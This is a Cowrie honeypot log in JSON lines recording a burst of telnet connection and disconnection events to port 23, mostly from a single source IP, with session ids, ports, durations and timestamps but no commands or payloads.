{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47412,"dst_ip":"159.203.135.109","dst_port":23,"session":"2089d160fd12","protocol":"telnet","message":"New connection: 50.6.18.72:47412 (159.203.135.109:23) [session: 2089d160fd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:50.690526Z"}
{"eventid":"cowrie.session.closed","duration":31.127047538757324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:51.411507Z","src_ip":"50.6.18.72","session":"ac08bd66ddfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47446,"dst_ip":"159.203.135.109","dst_port":23,"session":"3be44ea53299","protocol":"telnet","message":"New connection: 50.6.18.72:47446 (159.203.135.109:23) [session: 3be44ea53299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:51.508780Z"}
{"eventid":"cowrie.session.closed","duration":31.022324800491333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:51.533139Z","src_ip":"50.6.18.72","session":"293fe4bdb05f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16850709915161,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:51.545492Z","src_ip":"50.6.18.72","session":"c28146e2a48a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.033966064453125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:51.611695Z","src_ip":"50.6.18.72","session":"db54d3a8d691","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61138129234314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:51.754892Z","src_ip":"50.6.18.72","session":"71adee1ffb67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47454,"dst_ip":"159.203.135.109","dst_port":23,"session":"d22506d32a45","protocol":"telnet","message":"New connection: 50.6.18.72:47454 (159.203.135.109:23) [session: d22506d32a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:51.841096Z"}
{"eventid":"cowrie.session.closed","duration":31.113569259643555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:51.883863Z","src_ip":"50.6.18.72","session":"808e64994fea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.116698741912842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:51.896737Z","src_ip":"50.6.18.72","session":"9824290cc486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115070104599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:51.913319Z","src_ip":"50.6.18.72","session":"63c720215a58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47440,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c9a660b9b0b","protocol":"telnet","message":"New connection: 50.6.18.72:47440 (159.203.135.109:23) [session: 9c9a660b9b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:52.068662Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47458,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bb24effa8bb","protocol":"telnet","message":"New connection: 50.6.18.72:47458 (159.203.135.109:23) [session: 6bb24effa8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:52.073282Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47464,"dst_ip":"159.203.135.109","dst_port":23,"session":"073b9b0b6db5","protocol":"telnet","message":"New connection: 50.6.18.72:47464 (159.203.135.109:23) [session: 073b9b0b6db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:52.239217Z"}
{"eventid":"cowrie.session.closed","duration":31.111618280410767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:52.429065Z","src_ip":"50.6.18.72","session":"66f848182d7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.460547924041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:52.671901Z","src_ip":"50.6.18.72","session":"96c7214f47a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47426,"dst_ip":"159.203.135.109","dst_port":23,"session":"91dc6419f1a5","protocol":"telnet","message":"New connection: 50.6.18.72:47426 (159.203.135.109:23) [session: 91dc6419f1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:52.901979Z"}
{"eventid":"cowrie.session.closed","duration":30.79712963104248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:52.933930Z","src_ip":"50.6.18.72","session":"497dcc114129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.254730939865112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:53.202281Z","src_ip":"50.6.18.72","session":"7c9184a7a331","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95349407196045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:53.278303Z","src_ip":"50.6.18.72","session":"ce093ca05885","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106386423110962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:53.299963Z","src_ip":"50.6.18.72","session":"d1f90191ca13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.117741346359253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:53.436489Z","src_ip":"50.6.18.72","session":"43d339b892cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47472,"dst_ip":"159.203.135.109","dst_port":23,"session":"30835766a87c","protocol":"telnet","message":"New connection: 50.6.18.72:47472 (159.203.135.109:23) [session: 30835766a87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:53.666327Z"}
{"eventid":"cowrie.session.closed","duration":31.11198902130127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:53.770340Z","src_ip":"50.6.18.72","session":"60fc5bc3828b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10956835746765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:54.209829Z","src_ip":"50.6.18.72","session":"08dae44d0dd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47522,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1fe81365ac1","protocol":"telnet","message":"New connection: 50.6.18.72:47522 (159.203.135.109:23) [session: d1fe81365ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:54.394498Z"}
{"eventid":"cowrie.session.closed","duration":31.183836221694946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:54.455807Z","src_ip":"50.6.18.72","session":"69343642a42f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47496,"dst_ip":"159.203.135.109","dst_port":23,"session":"db4b33989fd0","protocol":"telnet","message":"New connection: 50.6.18.72:47496 (159.203.135.109:23) [session: db4b33989fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:54.562547Z"}
{"eventid":"cowrie.session.closed","duration":30.43547296524048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:54.569229Z","src_ip":"50.6.18.72","session":"83602ba079a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538779735565186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:54.789664Z","src_ip":"50.6.18.72","session":"7edddc8e9f20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.610851764678955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:54.803706Z","src_ip":"50.6.18.72","session":"5b606d2308c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47536,"dst_ip":"159.203.135.109","dst_port":23,"session":"36f2c5a3687a","protocol":"telnet","message":"New connection: 50.6.18.72:47536 (159.203.135.109:23) [session: 36f2c5a3687a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:55.179438Z"}
{"eventid":"cowrie.session.closed","duration":31.113356351852417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:55.386079Z","src_ip":"50.6.18.72","session":"7ac111cddb5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119466543197632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:55.621231Z","src_ip":"50.6.18.72","session":"c6bf1046e09c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47530,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7b3d3b40216","protocol":"telnet","message":"New connection: 50.6.18.72:47530 (159.203.135.109:23) [session: c7b3d3b40216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:55.975430Z"}
{"eventid":"cowrie.session.closed","duration":31.213627815246582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:56.149057Z","src_ip":"50.6.18.72","session":"bdb9469dc678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.100409269332886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:56.253325Z","src_ip":"50.6.18.72","session":"a6d7bc2f117e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.135614156723022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:56.322376Z","src_ip":"50.6.18.72","session":"aabe92ee65cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108545064926147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:56.502408Z","src_ip":"50.6.18.72","session":"498c1405e332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.324305772781372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:56.608606Z","src_ip":"50.6.18.72","session":"fdb4705b1fc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119924306869507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:56.701101Z","src_ip":"50.6.18.72","session":"35dfb9a3e1e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1088387966156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:57.024671Z","src_ip":"50.6.18.72","session":"f2dbffb98a0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111324310302734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:57.052557Z","src_ip":"50.6.18.72","session":"e9779af7c149","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.574389457702637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:57.132644Z","src_ip":"50.6.18.72","session":"26614ec83d1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38602,"dst_ip":"159.203.135.109","dst_port":23,"session":"95e72bc040dc","protocol":"telnet","message":"New connection: 50.6.18.72:38602 (159.203.135.109:23) [session: 95e72bc040dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:57.144791Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38618,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2373a11afc7","protocol":"telnet","message":"New connection: 50.6.18.72:38618 (159.203.135.109:23) [session: e2373a11afc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:57.465435Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38624,"dst_ip":"159.203.135.109","dst_port":23,"session":"74bfc4b6394d","protocol":"telnet","message":"New connection: 50.6.18.72:38624 (159.203.135.109:23) [session: 74bfc4b6394d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:57.551481Z"}
{"eventid":"cowrie.session.closed","duration":30.469643354415894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:57.570483Z","src_ip":"50.6.18.72","session":"c3a5239983b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94684648513794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:57.606292Z","src_ip":"50.6.18.72","session":"34555f9c7adc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21018123626709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:57.733598Z","src_ip":"50.6.18.72","session":"1f0aa9a97678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38628,"dst_ip":"159.203.135.109","dst_port":23,"session":"5af1430001b9","protocol":"telnet","message":"New connection: 50.6.18.72:38628 (159.203.135.109:23) [session: 5af1430001b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:58.009582Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38644,"dst_ip":"159.203.135.109","dst_port":23,"session":"82f7de7c182a","protocol":"telnet","message":"New connection: 50.6.18.72:38644 (159.203.135.109:23) [session: 82f7de7c182a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:58.210888Z"}
{"eventid":"cowrie.session.closed","duration":31.110880374908447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:58.224434Z","src_ip":"50.6.18.72","session":"25d74f5ccf6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.669223308563232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:58.321762Z","src_ip":"50.6.18.72","session":"3dbb7aa63d3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.468474626541138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:58.563426Z","src_ip":"50.6.18.72","session":"4f0a61f22f2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.952338695526123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:58.595882Z","src_ip":"50.6.18.72","session":"6dc059197f37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38652,"dst_ip":"159.203.135.109","dst_port":23,"session":"f72335a9a9ff","protocol":"telnet","message":"New connection: 50.6.18.72:38652 (159.203.135.109:23) [session: f72335a9a9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:58.616709Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":53584,"dst_ip":"159.203.135.109","dst_port":23,"session":"58bba2e8e7c9","protocol":"telnet","message":"New connection: 147.182.143.59:53584 (159.203.135.109:23) [session: 58bba2e8e7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:58.718099Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38656,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b1aeb35cf1f","protocol":"telnet","message":"New connection: 50.6.18.72:38656 (159.203.135.109:23) [session: 1b1aeb35cf1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:58.757029Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38672,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfb77dfeec04","protocol":"telnet","message":"New connection: 50.6.18.72:38672 (159.203.135.109:23) [session: dfb77dfeec04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:58.878679Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38678,"dst_ip":"159.203.135.109","dst_port":23,"session":"1136a18cae52","protocol":"telnet","message":"New connection: 50.6.18.72:38678 (159.203.135.109:23) [session: 1136a18cae52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.040776Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38694,"dst_ip":"159.203.135.109","dst_port":23,"session":"c34ec84448c5","protocol":"telnet","message":"New connection: 50.6.18.72:38694 (159.203.135.109:23) [session: c34ec84448c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.136663Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38702,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9d38fe65631","protocol":"telnet","message":"New connection: 50.6.18.72:38702 (159.203.135.109:23) [session: c9d38fe65631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.227293Z"}
{"eventid":"cowrie.session.closed","duration":31.105502128601074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.325420Z","src_ip":"50.6.18.72","session":"11d85b03a8cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38716,"dst_ip":"159.203.135.109","dst_port":23,"session":"93828ca84260","protocol":"telnet","message":"New connection: 50.6.18.72:38716 (159.203.135.109:23) [session: 93828ca84260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.362467Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38730,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaad48b6a265","protocol":"telnet","message":"New connection: 50.6.18.72:38730 (159.203.135.109:23) [session: aaad48b6a265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.368240Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38746,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fe867c26e84","protocol":"telnet","message":"New connection: 50.6.18.72:38746 (159.203.135.109:23) [session: 1fe867c26e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.434513Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38762,"dst_ip":"159.203.135.109","dst_port":23,"session":"854fc8231e9e","protocol":"telnet","message":"New connection: 50.6.18.72:38762 (159.203.135.109:23) [session: 854fc8231e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.458658Z"}
{"eventid":"cowrie.session.closed","duration":31.992454528808594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.520728Z","src_ip":"50.6.18.72","session":"ae551ea355f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.521727323532104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.574288Z","src_ip":"50.6.18.72","session":"1ba1fe95b641","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93988823890686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.633397Z","src_ip":"50.6.18.72","session":"9c5a0dfe5ab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68077516555786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.728031Z","src_ip":"50.6.18.72","session":"bc4daafcaf18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.220765829086304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:59.925892Z","src_ip":"50.6.18.72","session":"ec98e195988b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38778,"dst_ip":"159.203.135.109","dst_port":23,"session":"9792ebc8fdda","protocol":"telnet","message":"New connection: 50.6.18.72:38778 (159.203.135.109:23) [session: 9792ebc8fdda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.007774Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38786,"dst_ip":"159.203.135.109","dst_port":23,"session":"a66f8e64be7d","protocol":"telnet","message":"New connection: 50.6.18.72:38786 (159.203.135.109:23) [session: a66f8e64be7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.031550Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38800,"dst_ip":"159.203.135.109","dst_port":23,"session":"403d8658ea0c","protocol":"telnet","message":"New connection: 50.6.18.72:38800 (159.203.135.109:23) [session: 403d8658ea0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.086826Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38802,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca55501e0448","protocol":"telnet","message":"New connection: 50.6.18.72:38802 (159.203.135.109:23) [session: ca55501e0448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.212069Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38804,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c9ac722bdab","protocol":"telnet","message":"New connection: 50.6.18.72:38804 (159.203.135.109:23) [session: 4c9ac722bdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.296196Z"}
{"eventid":"cowrie.session.closed","duration":31.004368782043457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.303689Z","src_ip":"50.6.18.72","session":"9dde811769f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38818,"dst_ip":"159.203.135.109","dst_port":23,"session":"c35d56dcf090","protocol":"telnet","message":"New connection: 50.6.18.72:38818 (159.203.135.109:23) [session: c35d56dcf090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.402691Z"}
{"eventid":"cowrie.session.closed","duration":31.120331048965454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.444874Z","src_ip":"50.6.18.72","session":"246c4fe8682f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.17382264137268,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.471298Z","src_ip":"45.58.127.90","session":"1e597f09bd1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.931785106658936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.521169Z","src_ip":"50.6.18.72","session":"61f519b2e15e","protocol":"telnet"}
